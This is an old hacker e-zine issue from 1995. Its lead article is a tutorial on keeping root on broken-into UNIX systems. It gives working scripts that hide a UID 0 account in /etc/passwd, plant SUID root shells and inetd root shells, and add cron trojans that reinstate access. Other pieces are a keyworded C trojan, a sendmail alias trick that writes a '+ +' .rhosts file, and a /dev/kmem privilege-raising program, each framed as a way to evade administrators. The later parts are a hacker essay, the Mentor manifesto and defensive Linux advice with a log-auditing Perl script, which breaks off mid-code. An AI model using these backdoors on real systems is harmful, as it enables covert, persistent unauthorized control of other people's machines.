T H E I N F I N I T Y C O N C E P T ``` ``` ` `` ` ``` ``` .oO____Oo. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~The Infinity Concept~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ . Issue #2 . . Fall 1995 . -=-=-=-=-=-=-=-=-=Brought to you by the members and associates of-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-the Guild=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- | Route, Nihil, Carbonboy | | Squidge, Mythrandir, Delirium | | Alhambra, MrZippy, Cheshire, Zem | url's ------- ftp://onyx.infonexus.com/pub/Guild/ http://hops.cs.jhu.edu~/jed http://homepage.interaccess.com/~rpfries/ ------------------------------------------------------------------------------ Fall 1995 | The Infinity Concept | issue 2 ------------------------------------------------------------------------------ In this issue... 1).UNIX backdoors................Route 2).Hacker Hype..............Mythrandir 3).Linux Security Basics......Deliryum 4).Halloween Lore.............Deliryum 5).'A Word to The Wise'.......Deliryum 6).Intro to Van Eck Devices....RPFries Tell me and I forget. Teach me and I remember. Involve me and I learn. -- Ben Franklin .oO____Oo. [Introduction] Welcome back to the offical Pursuit of Knowledge, this, the second issue of The Infinity Concept. There have some membership changes in the Guild in the last few months. Topher and JFP have both stepped down for very different reasons. They still remain on great terms and are welcomed back at anytime they see fit to return. We had many votes of confidence and kudos from you guys on the first issue, and I hope this issue to be more of the same. Probably the biggest change is my new site, infonexus.com. By the time you read this it should be up and running (it has been HELL getting my provider to run with the ball). The ftpsite has moved there (expanded tremendously), and it is now thw basis for my operations. It is homesite of the Guild, and of Mike Scanlons zine HACKERS. I have the site locked down rather tightly, and for more info on it, email me. Already looking ahead to next issue, I plan to be do a techincal article either on giga-bit networking technologies (B-ISDN, ATM, SONET, etc) or firewall theory and architecture. If anyone has *ANY* article suggestions, or submissions, please email me. *note* This issue is coming out a bit early, and as such, Mythrandir and Nihil did not have time to submit their main articles. An special edition or an early next issue will contain there articles.... Now, on with the show... -Route .oO____Oo. ______________________________________________________________ |UNIX backdoors | |________________________(Keeping root in your hippocket)_____| by Infinity 9/95 --[Abstract]-- Ok..... You've been at it for all night. Trying all the exploits you can think of. The system seems tight. The system looks tight. The system *is* tight. You've tried everything. Default passwds, guessable passwds, NIS weaknesses, NFS holes, incorrect permissions, race conditions, SUID exploits, Sendmail bugs, and so on... Nothing. WAIT! What's that!?!? A "#" ???? Finally! After seeming endless toiling, you've managed to steal root. Now what? How do you hold onto this precious super-user privilege you have worked so hard to achieve....? This article is intended to show you how to hold onto root once you have it. It is intended for hackers and administrators alike. From a hacking perspective, it is obvious what good this paper will do you. Admin's can likewise benefit from this paper. Ever wonder how that pesky hacker always manages to pop up, even when you think you've completely eradicated him from your system? This list is BY NO MEANS comprehensive. There are as many ways to leave backdoors into a UNIX computer as there are ways into one. --[Beforehand...]-- Know the location of critical system files. This should be obvious (If you can't list any of the top of your head, stop reading now, get a book on UNIX, read it, then come back to me...). Familiarity with passwd file formats (including general 7 field format, system specific naming conventions, shadowing mechanisms, etc...). Know vi. Many systems will not have those robust, user-friendly editors such as Pico and Emacs. Vi is also quite useful for needing to quickly seach and edit a large file. If you are connecting remotely (via dial-up/telnet/rlogin/whatver) it's always nice to have a robust terminal program that has a nice, FAT scrollback buffer. This will come in handy if you want to cut and paste code, rc files, shell scripts, etc... The permenance of these backdoors will depend completely on the technical saavy of the administrator. The experienced and skilled administrator will be wise to many (if not all) of these backdoors. But, if you have managed to steal root, it is likely the admin isn't as skilled (or up to date on bug reports) as she should be, and many of these doors may be in place for some time to come. One major thing to be aware of, is the fact that if you can cover you tracks during the initial break-in, no one will be looking for back doors. --[The Overt]-- [1] Add a UID 0 account to the passwd file. This is probably the most obvious and quickly discovered method of rentry. It flies a red flag to the admin, saying "WE'RE UNDER ATTACK!!!". If you must do this, my advice is DO NOT simply prepend or append it. Anyone causally examining the passwd file will see this. So, why not stick it in the middle... ------------------------------------8<---------------------------------------- #!/bin/csh # Inserts a UID 0 account into the middle of the passwd file. # There is likely a way to do this in 1/2 a line of AWK or SED. Oh well. # daemon9@netcom.com set linecount = `wc -l /etc/passwd` cd # Do this at home. cp /etc/passwd ./temppass # Safety first. echo passwd file has $linecount[1] lines. @ linecount[1] /= 2 @ linecount[1] += 1 # we only want 2 temp files echo Creating two files, $linecount[1] lines each \(or approximately that\). split -$linecount[1] ./temppass # passwd string optional echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa cat ./xab >> ./xaa mv ./xaa /etc/passwd chmod 644 /etc/passwd # or whatever it was beforehand rm ./xa* ./temppass echo Done... ------------------------------------8<---------------------------------------- NEVER, EVER, change the root password. The reasons are obvious. [2] In a similar vein, enable a disabled account as UID 0, such as Sync. Or, perhaps, an account somwhere buried deep in the passwd file has been abandoned, and disabled by the sysadmin. Change her UID to 0 (and remove the '*' from the second field). [3] Leave an SUID root shell in /tmp. ------------------------------------8<---------------------------------------- #!/bin/sh # Everyone's favorite... cp /bin/csh /tmp/.evilnaughtyshell # Don't name it that... chmod 4755 /tmp/.evilnaughtyshell ------------------------------------8<---------------------------------------- Many systems run cron jobs to clean /tmp nightly. Most systems clean /tmp upon a reboot. Many systems have /tmp mounted to disallow SUID programs from executing. You can change all of these, but if the filesystem starts filling up, people may notice...but, hey, this *is* the overt section....). I will not detail the changes neccessary because they can be quite system specific. Check out /var/spool/cron/crontabs/root and /etc/fstab. --[The Veiled]-- [4] The super-server configuration file is not the first place a sysadmin will look, so why not put one there? First, some background info: The Internet daemon (/etc/inetd) listens for connection requests on TCP and UDP ports and spawns the appropriate program (usally a server) when a connection request arrives. The format of the /etc/inetd.conf file is simple. Typical lines look like this: (1) (2) (3) (4) (5) (6) (7) ftp stream tcp nowait root /usr/etc/ftpd ftpd talk dgram udp wait root /usr/etc/ntalkd ntalkd Field (1) is the daemon name that should appear in /etc/services. This tells inetd what to look for in /etc/services to determine which port it should associate the program name with. (2) tells inetd which type of socket connection the daemon will expect. TCP uses streams, and UDP uses datagrams. Field (3) is the protocol field which is either of the two transport protocols, TCP or UDP. Field (4) specifies whether or not the daemon is iterative or concurrent. A 'wait' flag indicates that the server will process a connection and make all subsequent connections wait. 'Nowait' means the server will accept a connection, spawn a child process to handle the connection, and then go back to sleep, waiting for further connections. Field (5) is the user (or more inportantly, the UID) that the daemon is run as. (6) is the program to run when a connection arrives, and (7) is the actual command (and optional arguments). If the program is trivial (usally requiring no user interaction) inetd may handle it internally. This is done with an 'internal' flag in fields (6) and (7). So, to install a handy backdoor, choose a service that is not used often, and replace the daemon that would normally handle it with something else. A program that creates an SUID root shell, a program that adds a root account for you in the /etc/passwd file, etc... For the insinuation-impaired, try this: Open the /etc/inetd.conf in an available editor. Find the line that reads: daytime stream tcp nowait root internal and change it to: daytime stream tcp nowait /bin/sh sh -i. You now need to restart /etc/inetd so it will reread the config file. It is up to you how you want to do this. You can kill and restart the process, (kill -9 , /usr/sbin/inetd or /usr/etc/inetd) which will interuppt ALL network connections (so it is a good idea to do this off peak hours). [5] An option to compromising a well known service would be to install a new one, that runs a program of your choice. One simple solution is to set up a shell the runs similar to the above backdoor. You need to make sure the entry appears in /etc/services as well as in /etc/inetd.conf. The format of the /etc/services file is simple: (1) (2)/(3) (4) smtp 25/tcp mail Field (1) is the service, field (2) is the port number, (3) is the protocol type the service expects, and (4) is the common name associated with the service. For instance, add this line to /etc/services: evil 22/tcp evil and this line to /etc/inetd.conf: evil stream tcp nowait /bin/sh sh -i Restart inetd as before. Note: Potentially, these are a VERY powerful backdoors. They not only offer local rentry from any account on the system, they offer rentry from *any* account on *any* computer on the Internet. [6] Cron-based trojan I. Cron is a wonderful system administration tool. It is also a wonderful tool for backdoors, since root's crontab will, well, run as root... Again, depending on the level of experience of the sysadmin (and the implementation), this backdoor may or may not last. /var/spool/cron/crontabs/root is where root's list for crontabs is usally located. Here, you have several options. I will list a only few, as cron-based backdoors are only limited by your imagination. Cron is the clock daemon. It is a tool for automatically executing commands at specified dates and times. Crontab is the command used to add, remove, or view your crontab entries. It is just as easy to manually edit the /var/spool/crontab/root file as it is to use crontab. A crontab entry has six fields: (1) (2) (3) (4) (5) (6) 0 0 * * 1 /usr/bin/updatedb Fields (1)-(5) are as follows: minute (0-59), hour (0-23), day of the month (1-31) month of the year (1-12), day of the week (0-6). Field (6) is the command (or shell script) to execute. The above shell script is executed on Mondays. To exploit cron, simply add an entry into /var/spool/crontab/root. For example: You can have a cronjob that will run daily and look in the /etc/passwd file for the UID 0 account we previously added, and add him if he is missing, or do nothing otherwise (it may not be a bad idea to actually *insert* this shell code into an already installed crontab entry shell script, to further obfuscate your shady intentions). Add this line to /var/spool/crontab/root: 0 0 * * * /usr/bin/trojancode This is the shell script: ------------------------------------8<---------------------------------------- #!/bin/csh # Is our eviluser still on the system? Let's make sure he is. #daemon9@netcom.com set evilflag = (`grep eviluser /etc/passwd`) if($#evilflag == 0) then # Is he there? set linecount = `wc -l /etc/passwd` cd # Do this at home. cp /etc/passwd ./temppass # Safety first. @ linecount[1] /= 2 @ linecount[1] += 1 # we only want 2 temp files split -$linecount[1] ./temppass # passwd string optional echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa cat ./xab >> ./xaa mv ./xaa /etc/passwd chmod 644 /etc/passwd # or whatever it was beforehand rm ./xa* ./temppass echo Done... else endif ------------------------------------8<---------------------------------------- [7] Cron-based trojan II. This one was brought to my attention by our very own Mr. Zippy. For this, you need a copy of the /etc/passwd file hidden somewhere. In this hidden passwd file (call it /var/spool/mail/.sneaky) we have but one entry, a root account with a passwd of your choosing. We run a cronjob that will, every morning at 2:30am (or every other morning), save a copy of the real /etc/passwd file, and install this trojan one as the real /etc/passwd file for one minute (synchronize swatches!). Any normal user or process trying to login or access the /etc/passwd file would get an error, but one minute later, everything would be ok. Add this line to root's crontab file: 29 2 * * * /bin/usr/sneakysneaky_passwd make sure this exists: #echo "root:1234567890123:0:0:Operator:/:/bin/csh" > /var/spool/mail/.sneaky and this is the simple shell script: ------------------------------------8<---------------------------------------- #!/bin/csh # Install trojan /etc/passwd file for one minute #daemon9@netcom.com cp /etc/passwd /etc/.temppass cp /var/spool/mail/.sneaky /etc/passwd sleep 60 mv /etc/.temppass /etc/passwd ------------------------------------8<---------------------------------------- [8] Compiled code trojan. Simple idea. Instead of a shell script, have some nice C code to obfuscate the effects. Here it is. Make sure it runs as root. Name it something innocous. Hide it well. ------------------------------------8<---------------------------------------- /* A little trojan to create an SUID root shell, if the proper argument is given. C code, rather than shell to hide obvious it's effects. */ /* daemon9@netcom.com */ #include #define KEYWORD "industry3" #define BUFFERSIZE 10 int main(argc, argv) int argc; char *argv[];{ int i=0; if(argv[1]){ /* we've got an argument, is it the keyword? */ if(!(strcmp(KEYWORD,argv[1]))){ /* This is the trojan part. */ system("cp /bin/csh /bin/.swp121"); system("chown root /bin/.swp121"); system("chmod 4755 /bin/.swp121"); } } /* Put your possibly system specific trojan messages here */ /* Let's look like we're doing something... */ printf("Sychronizing bitmap image records."); /* system("ls -alR / >& /dev/null > /dev/null&"); */ for(;i<10;i++){ fprintf(stderr,"."); sleep(1); } printf("\nDone.\n"); return(0); } /* End main */ ------------------------------------8<---------------------------------------- [9] The sendmail aliases file. The sendmail aliases file allows for mail sent to a particular username to either expand to several users, or perhaps pipe the output to a program. Most well known of these is the uudecode alias trojan. Simply add the line: "decode: "|/usr/bin/uudecode" to the /etc/aliases file. Usally, you would then create a uuencoded .rhosts file with the full pathname embedded. ------------------------------------8<---------------------------------------- #! /bin/csh # Create our .rhosts file. Note this will output to stdout. echo "+ +" > tmpfile /usr/bin/uuencode tmpfile /root/.rhosts ------------------------------------8<---------------------------------------- Next telnet to the desired site, port 25. Simply fakemail to decode and use as the subject body, the uuencoded version of the .rhosts file. For a one liner (not faked, however) do this: %echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail decode@target.com You can be as creative as you wish in this case. You can setup an alias that, when mailed to, will run a program of your choosing. Many of the previous scripts and methods can be employed here. --[The Covert]-- [10] Trojan code in common programs. This is a rather sneaky method that is really only detectable by programs such tripwire. The idea is simple: insert trojan code in the source of a commonly used program. Some of most useful programs to us in this case are su, login and passwd because they already run SUID root, and need no permission modification. Below are some general examples of what you would want to do, after obtaining the correct sourcecode for the particular flavor of UNIX you are backdooring. (Note: This may not always be possible, as some UNIX vendors are not so generous with thier sourcecode.) Since the code is very lengthy and different for many flavors, I will just include basic psuedo-code: get input; if input is special hardcoded flag, spawn evil trojan; else if input is valid, continue; else quit with error; ... Not complex or difficult. Trojans of this nature can be done in less than 10 lines of additional code. --[The Esoteric]-- [11] /dev/kmem exploit. It represents the virtual of the system. Since the kernel keeps it's parameters in memory, it is possible to modify the memory of the machine to change the UID of your processes. To do so requires that /dev/kmem have read/write permission. The following steps are executed: Open the /dev/kmem device, seek to your page in memory, overwrite the UID of your current process, then spawn a csh, which will inherit this UID. The following program does just that. ------------------------------------8<---------------------------------------- /* If /kmem is is readable and writable, this program will change the user's UID and GID to 0. */ /* This code originally appeared in "UNIX security: A practical tutorial" with some modifications by daemon9@netcom.com */ #include #include #include #include #include #include #include #define KEYWORD "nomenclature1" struct user userpage; long address(), userlocation; int main(argc, argv, envp) int argc; char *argv[], *envp[];{ int count, fd; long where, lseek(); if(argv[1]){ /* we've got an argument, is it the keyword? */ if(!(strcmp(KEYWORD,argv[1]))){ fd=(open("/dev/kmem",O_RDWR); if(fd<0){ printf("Cannot read or write to /dev/kmem\n"); perror(argv); exit(10); } userlocation=address(); where=(lseek(fd,userlocation,0); if(where!=userlocation){ printf("Cannot seek to user page\n"); perror(argv); exit(20); } count=read(fd,&userpage,sizeof(struct user)); if(count!=sizeof(struct user)){ printf("Cannot read user page\n"); perror(argv); exit(30); } printf("Current UID: %d\n",userpage.u_ruid); printf("Current GID: %d\n",userpage.g_ruid); userpage.u_ruid=0; userpage.u_rgid=0; where=lseek(fd,userlocation,0); if(where!=userlocation){ printf("Cannot seek to user page\n"); perror(argv); exit(40); } write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage)); execle("/bin/csh","/bin/csh","-i",(char *)0, envp); } } } /* End main */ #include #include #include #define LNULL ((LDFILE *)0) long address(){ LDFILE *object; SYMENT symbol; long idx=0; object=ldopen("/unix",LNULL); if(!object){ fprintf(stderr,"Cannot open /unix.\n"); exit(50); } for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){ if(!strcmp("_u",ldgetname(object,&symbol))){ fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value); ldclose(object); return(symbol.n_value); } } fprintf(stderr,"Cannot read symbol table in /unix.\n"); exit(60); } ------------------------------------8<---------------------------------------- [12] Since the previous code requires /dev/kmem to be world accessable, and this is not likely a natural event, we need to take care of this. My advice is to write a shell script similar to the one in [7] that will change the permissions on /dev/kmem for a discrete amount of time (say 5 minutes) and then restore the original permissions. You can add this source to the source in [7]: ------------------------------------8<---------------------------------------- chmod 666 /dev/kmem sleep 300 # Nap for 5 minutes chmod 600 /dev/kmem # Or whatever it was before ------------------------------------8<---------------------------------------- .oO____Oo. --------------------------- ---- Hacker Hype ---- ---- by, Mythrandir ---- --------------------------- The following is something that I wrote for the newsletter of my college's chapter of ACM. The distribution is normally about 1000, but also went out to all of those who were attending our conference at the time. Steve Wozniak was also our keynote speaker. With the release of HACKERS, the supposed dark side of the internet has been thrust into the limelight once more. As many of you may have noticed the media has taken a keen interesting in hackers as of late. Several arrests have made national newspapers and magazines. Unfortunately it seems that very little of the story is actually told. The actors in this drama are often dehumanized and made out to be people of pure maliciousness. Unfortunately, these are often people who are completely misunderstood, and even worse misrepresented by the media. I myself have met several people who the media would consider hackers. Some of these people do indeed fit into the stereo type that is portrayed by the media, but the fact is that most of these people do not. They are simply people who are striving for knowledge in a society that does not promote free access of information. These are the people who were never allowed to follow their curiosity. They were told to follow the paths and curriculum that was laid in front of them, because people older and wiser than them had formed them. Many people were stunted and lost their drive for knowledge, others broke free. The fact is that these people are not all a bunch of people living in run down basements trying to destroy the network. These people are everywhere, from every walk of life, living every type of lifestyle. Being a hacker has nothing to do with race, religion, or sex. It has but one criteria. A burning desire to aquire knowledge. To know whatever it is that you do not know. It is a quest that can never end, and I believe it is the noblest. It is an unwritten rule that one does not call him or herself a hacker. The rule says that it is a title that is bestowed on you. The fact is that being a hacker is something that you are born as. It is neither earned nor bestowed. It has nothing to do with power or control. It is simply a way of being. Are you a hacker? The following is the hackers creed that was referred to in the movie HACKERS. Read it and judge for yourself. It is a description of what many have experienced time and time again. The quest for knowledge crushed. But for many it cannot be driven out, for you see, knowledge yearns to be free. Jeff Thompson ACM@UIUC Vice Chair SigNET Chair The following was written shortly after my arrest... \/\The Conscience of a Hacker/\/ by +++The Mentor+++ Written on January 8, 1986 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Another one got caught today, it's all over the papers. "Teenager Arrested in Computer Crime Scandal", "Hacker Arrested after Bank Tampering"... Damn kids. They're all alike. But did you, in your three-piece psychology and 1950's technobrain, ever take a look behind the eyes of the hacker? Did you ever wonder what made him tick, what forces shaped him, what may have molded him? I am a hacker, enter my world... Mine is a world that begins with school... I'm smarter than most of the other kids, this crap they teach us bores me... Damn underachiever. They're all alike. I'm in junior high or high school. I've listened to teachers explain for the fifteenth time how to reduce a fraction. I understand it. "No, Ms. Smith, I didn't show my work. I did it in my head..." Damn kid. Probably copied it. They're all alike. I made a discovery today. I found a computer. Wait a second, this is cool. It does what I want it to. If it makes a mistake, it's because I screwed it up. Not because it doesn't like me... Or feels threatened by me... Or thinks I'm a smart ass... Or doesn't like teaching and shouldn't be here... Damn kid. All he does is play games. They're all alike. And then it happened... a door opened to a world... rushing through the phone line like heroin through an addict's veins, an electronic pulse is sent out, a refuge from the day-to-day incompetencies is sought... a board is found. "This is it... this is where I belong..." I know everyone here... even if I've never met them, never talked to them, may never hear from them again... I know you all... Damn kid. Tying up the phone line again. They're all alike... You bet your ass we're all alike... we've been spoon-fed baby food at school when we hungered for steak... the bits of meat that you did let slip through were pre-chewed and tasteless. We've been dominated by sadists, or ignored by the apathetic. The few that had something to teach found us willing pupils, but those few are like drops of water in the desert. This is our world now... the world of the electron and the switch, the beauty of the baud. We make use of a service already existing without paying for what could be dirt-cheap if it wasn't run by profiteering gluttons, and you call us criminals. We explore... and you call us criminals. We seek after knowledge... and you call us criminals. We exist without skin color, without nationality, without religious bias... and you call us criminals. You build atomic bombs, you wage wars, you murder, cheat, and lie to us and try to make us believe it's for our own good, yet we're the criminals. Yes, I am a criminal. My crime is that of curiosity. My crime is that of judging people by what they say and think, not what they look like. My crime is that of outsmarting you, something that you will never forgive me for. I am a hacker, and this is my manifesto. You may stop this individual, but you can't stop us all... after all, we're all alike. +++The Mentor+++ .oO____Oo. Linux Security Basics -- by Deliryum This text will cover basic security questions reguarding the Linux operating system. This is written for the "lay-man" in mind and thus will not go into great technical lenths (such as firewalling, which is detailed in great lenth in the FIREWALL howto). There is a good deal more information available on this subject, but I hope this is still quite informative. :) As always bear in mind that I am just a lowly human and becuase of which am proned to making mistakes. So, please, if there are mistakes in this text please point them out to me. Remember I am not responsible for anything that could result from reading this document. Nausea, convulsions, brain damage, etc.. should conditions persist seek imediate medical attention.. I repeat... :) Ok, enough yacking, on to the info. o Default accounts: Linux does come with a few standard logon id's that are needed for its basic operation. Such as the root command, which doesn't have a password until you assign it one. Its a good idea to disable the passwords of any default account. This is done by putting a * in the password field of the /etc/passwd file. Also on this note, its probably not a good idea to make a "guest" account on your system. By this I mean an account where just anyone could login and have "guest access" on your system. Such, security wise, is rather bad. o Passwords: Its amazing just how weakly this is enforced on some systems. A poorly chosen password will defeat any other security measures, you as a sysadmin, can envoke. Your users will, of course, want a password they don't have to think about or write down, but this just isn't a good thing. It should be something as difficult to crack as possible. With a combination of both letters and numbers. This cannot be stressed enough. The longer the better. A unix password can only be 8 letters long. This should never be a word in any language. Also your users should be aware that their password should not relate to them. An example of this is as such: Lets say one of your users is named Bob Jones and Mr jones uses jones1 as a password... Well folks.. that just won't do. It needs to bear no relation to that person. Also, and this should be rather obvious, the root password should be as UNGODLY difficult in spelling as possible. This is, of course, the most important and powerful, account on your system and should be protected. There are other ways of gaining root access on a system than guessing that password, but ya shouldn't make it easy for an intruder. :) o Idle accounts: Idle accounts are accounts that are basically unused. The person it was made for either no longer uses it or has used it once or twice and doesn't plan on using it anymore. This is bad security wise, as it is an account by which access could be gained on your system. They need to be deleted. o Action accounts: Action accounts (also known as command accounts) are those that have the ability to be logoned to and they run a set command. Ie, if you allowed such accounts one could login as finger and the finger command would run and then disconnect that person. These should *not* be used. o Remote commands: The following commands should be commented out of your /etc/inetd.conf file. Finger, systat, and netstat (in most versions of linux this is stated in that file right above where those commands are listed). These commands would give information out to potential "system hackers" and is a bad idea becuase of this. o System Logs: A sysadmin should DEFINATLY pay close attention to these. These logs can help a sysadmin know more of what is going on on his system. Below are some scripts in Perl (you will need perl installed on your box for these to run) to better maintain your logs. You should run these in a cron job (the sysadmin's best friend) with sreport first and the archiver next so they are all in place still. ************************************ cut here ************************ #!/usr/bin/perl # sreport v0.99 Copyright (C) 1995 Brett A. Thomas and RedCloud # Software. This product is freeware, and may be freely distributed # as long as it isn't charged for. Email quark@baz.com with any # questions. # An important item to bear in mind about this script is that it deals with # a lot of logfiles that are often around in the system for a long period # of time (ie, /var/adm/messages, /var/adm/xferlog, and /usr/adm/wtmp). # These files _generally_ do not have year information stored in them, # so there is no way to tell what happened a year ago yesterday from # what happened yesterday. So, there is a requirement that your logfiles # not have data more than one year old in them. Speaking personally, I # solved this problem by compressing and storing everything more than one # month old in a cron job that runs once a month. # This array holds the list of all users for whom it is acceptable to have # UID 0 (generally only "root"): @ok_uid_zeros = ("root"); # This array holds the list of all users for whom it is acceptable to have # GID 0: @ok_gid_zeros = ("root", "sync", "shutdown", "halt", "operator"); # Contact line. Kludged 'cause reports don't like at signs $email_line = "Email quark@baz.com with any issues.\n"; &get_dates(); # Assigns the date to global var $date, and the report date # (ie, yesterday) to the global $report_date. &get_hostname(); # Assigns the hostname to $host_name. &get_domain_name(); # Gets domain name from /etc/HOSTNAME # Everything above is to get setup info. Reports are generated from # here on down. &get_syslog_report(); # Gets the syslog report into $syslog_report. &get_netlogons_report(); # Gets the netlogons report into # $netlogons_report. &get_xferlog_report(); # Gets the xfer report into $xferlog_report. &get_diskspace_report(); # Gets diskpace report into $disk_space_report. &get_passwd_report(); # Gets passwd analysis into $passwd_report &get_uptime_report(); # Gets the uptime report into $uptime_report. # Open the report as a pipe to mail to root: open(ADMINREPORT, "|mail root -s \"Administration Report for $host_name\""); # Write the report (definition is at the end of the script) write(ADMINREPORT); # And close. close(ADMINREPORT); # Subroutines: # Assigns today's date the the global variable $date, and the report date # (generally yesterday) to the global variable $report_date. sub get_dates { # Execute "date" as a pipe, to get today's date: open(DATE_PIPE, "date|"); chop($date = ); # Get the output from the process close(DATE_PIPE); # Close it # Now, we need yesterday's date. Rather than futzing with it, # we can call "date -d yesterday" in order to have IT figure it # out for us. open(DATE_PIPE, "date -d yesterday|"); chop($_ = ); # Get the info, again... close(DATE_PIPE); # ...and close it. s/\w+\s//; # Strip off the leading day of the week. /\w+\s+\w+/; # Match "MMM DD" (ie, "Aug 8") $report_date = $&; # Assign the results of this to $report_date. } # Find out who we are: sub get_hostname { open(HOSTNAME, "/etc/HOSTNAME"); # Execute hostname into a pipe chop($host_name = ); # Get the information close(HOSTNAME); # Close the file up } # Get the report information from /var/adm/messages for all entries that # were written on $report_date: sub get_syslog_report { open(SYSLOG, "/var/adm/messages"); # Open the file for reading... while($_ = ) # Loop while there is more to read { /\w+\s+\w+/; # Match "MMM DD" (ie, "Aug 8") if($& eq $report_date) # Only get today's report... { # Concatenate the line to the report: $syslog_report = $syslog_report . $_; } } close(SYSLOG); # Close the file if(!$syslog_report) # If no lines were found from $report_date { $syslog_report = "No Entries.\n"; # Indicate a blank report } } # Get the report information from /var/adm/xferlog for all entries that # were written on $report_date. This is very similar to &get_syslog_report, # above. However, since the log files have trivial format differences, the # functions are not identical. sub get_xferlog_report { open(SYSLOG, "/var/adm/xferlog"); # Open the xferlog for reading while($_ = ) # Loop while there's something to read { s/\w+\s//; # Strip off the leading day of the week. /\w+\s+\w+/; # Match "MMM DD" (ie, "Aug 8") if($& eq $report_date) # Only get today's report... { # Concatenate the line to the report: $xferlog_report = $xferlog_report . $_; } } close(SYSLOG); # Close the file if(!$xferlog_report) # If no lines were found from $report_date { $xferlog_report = "No Entries.\n"; # Indicate an empty report } } # Generate the report of who logged on yesterday from the network. # From the network, for these purposes, is defined as: On a virtual # terminal (ttyp*), not from $domain_name and not from 0.0 (the only X # I have set up). sub get_netlogons_report { open(LOGONS, "who /usr/adm/wtmp|"); # Open who to a pipe while($_ = ) # While it's got info... { $temp = $_; # Remember the raw line ere manipulation s/\w+\s+\w+\s+//; # Dump the userid and tty off the line, for now /\w+\s+\w+/; # Match the date... if($& eq $report_date) # Is it from the day we're looking for? { $_ = $temp; # If so, put the raw input back into $_ if(/ttyp/) # Is it from a virtual terminal? { /$domain_name/; # Is it not from the local net? if(!/$domain_name/) { if(! /0.0/) # Is it not from an X Terminal? { # Yes, yes and yes; append it to the report: $netlogons_report = $netlogons_report . $_; } } } } } close(LOGONS); # Close the pipe if(!$netlogons_report) # Nobody logged in yesterday! { $netlogons_report = "No Entries.\n"; # Report a NULL report } } # Get the report on the ammount of diskspace available. sub get_diskspace_report { open(DF, "df |"); # Open df to a pipe while($_ = ) { if(!/\/mnt\//) # Ignore stuff in /mnt like floppies, CDs, FAT drives { if(!/:/) # Ignore NFS mounted volumes { # Append it to the report: $disk_space_report = $disk_space_report . $_; } } } close(DF); # Close the pipe if(!$disk_space_report) { # A NULL report on this one is a bit more severe on the others. # It is truly weird if df has no entries that are not NFS and # not in the /mnt directory (at least on my systems) $disk_space_report = "No Entries. (HUH?)\n"; } } # This is the most sophisticated of all. It does some simple analysis of # the existing /etc/passwd, and then does some analysis of what has changed # since yesterday. At a high level, it reports on users with no passwords, # users who are UID 0 or GID 0 and not in the @ok_uid_zeros and @ok_gid_zeros # arrays, respectively, and reports the users added, deleted and changed # since the last time it was run (presumed to be yestersay). sub get_passwd_report { # Initialize all the variables we need: $no_password_users = 0; # Number of users with no password $uid_zero = 0; # Number of users who are (improperly) UID 0 $gid_zero = 0; # Ditto for GID 0 $index = 0; # Temporary index for walking arrays open(PASSWD, "/etc/passwd"); # Read in for security analysis, first... while($_ = ) # While there's lines to read { # First, check for users with no passwords at all: if(/^[^:]*::/) # If we have "login::" as the start of the line... { /^[^:]*/; # Just select the login, and scream and holler: $passwd_report = $passwd_report . "*** WARNING! USER <$&> HAS NO PASSWORD! ***\n"; # Increment the count of problem users) $no_password_users = $no_password_users + 1; } if(/^[^:]*:[^:]*:0/) # UID == 0 (just trust me on this) { /^[^:]*/; # Just select the login $is_ok = 0; $index = 0; while(!$is_ok && $ok_uid_zeros[$index]) # Is it OK for this guy? { if($& eq $ok_uid_zeros[$index]) { $is_ok = 1; # Allowed to have UID 0. } $index = $index + 1; } if(!$is_ok) # NOT allowed to be UID 0! { $passwd_report = $passwd_report . "*** WARNING! USER <$&> IS UID 0! ***\n"; $uid_zero = $uid_zero + 1; } } if(/^[^:]*:[^:]*:[^:]*:0/) # GID == 0... { /^[^:]*/; # Select the login $is_ok = 0; $index = 0; while(!$is_ok && $ok_gid_zeros[$index]) # OK to be GID 0? { if($& eq $ok_gid_zeros[$index]) { $is_ok = 1; # It's OK (ie, he's root) } $index = $index + 1; } if(!$is_ok) # It's NOT ok! Alert... { $passwd_report = $passwd_report . "*** WARNING! USER <$&> IS GID 0! ***\n"; $gid_zero = $gid_zero + 1; } } } close(PASSWD); if($gid_zero || $uid_zero || $no_password_users > 0) { $passwd_report = $passwd_report . "\n"; # Do a blank line if nothing was alerted. } # Present the summary of our findings: if($no_password_users) { if($no_password_users == 1) # This is just for the grammar. :) { $passwd_report = $passwd_report . "*** $no_password_users USER HAS NO PASSWORD! ***\n"; } else { $passwd_report = $passwd_report . "*** $no_password_users USERS HAVE NO PASSWORD! ***\n"; } } else { $passwd_report = $passwd_report . "All users have passwords.\n"; } if($uid_zero) { if($uid_zero == 1) { $passwd_report = $passwd_report . "*** $uid_zero UNAUTHORIZED USER IS UID 0! ***\n"; } else { $passwd_report = $passwd_report . "*** $uid_zero UNAUTHORIZED USERS ARE UID 0! ***\n"; } } else { $passwd_report = $passwd_report . "No unauthorized users have UID 0.\n"; } if($gid_zero) { if($gid_zero == 1) { $passwd_report = $passwd_report . "*** $gid_zero UNAUTHORIZED USER IS GID 0! ***\n"; } else { $passwd_report = $passwd_report . "*** $gid_zero UNAUTHORIZED USERS ARE GID 0! ***\n"; } } else { $passwd_report = $passwd_report . "No unauthorized users have GID 0.\n"; } $passwd_report = $passwd_report . "\n"; # Now, we're going to check to see if things have changed since # yesterday. yp is yesterday's password file, tp is today's. if(open(OLD_PASSWD, "/etc/yp")) # IS there a yp file? { $new_users = 0; $del_users = 0; $changed_users = 0; while($_ = ) # Read in all the users and data in yp. { chop($_); if(/^[^:]*:/) # See if it's a basically valid line { /^[^:]*/; # Select the login $yp{$&} = $_; # Assign the data to the key } } close(OLD_PASSWD); # Close it up. system("cp", "/etc/passwd", "/etc/tp"); # Copy passwd to tp. We don't open passwd to avoid it being # changed in the middle or something. chmod(0600, "/etc/tp"); # Only root can access it... open(NEW_PASSWD, "/etc/tp"); # Get the new file. while($_ = ) { chop($_); if(/^[^:]*:/) # See if it's a basically valid line { 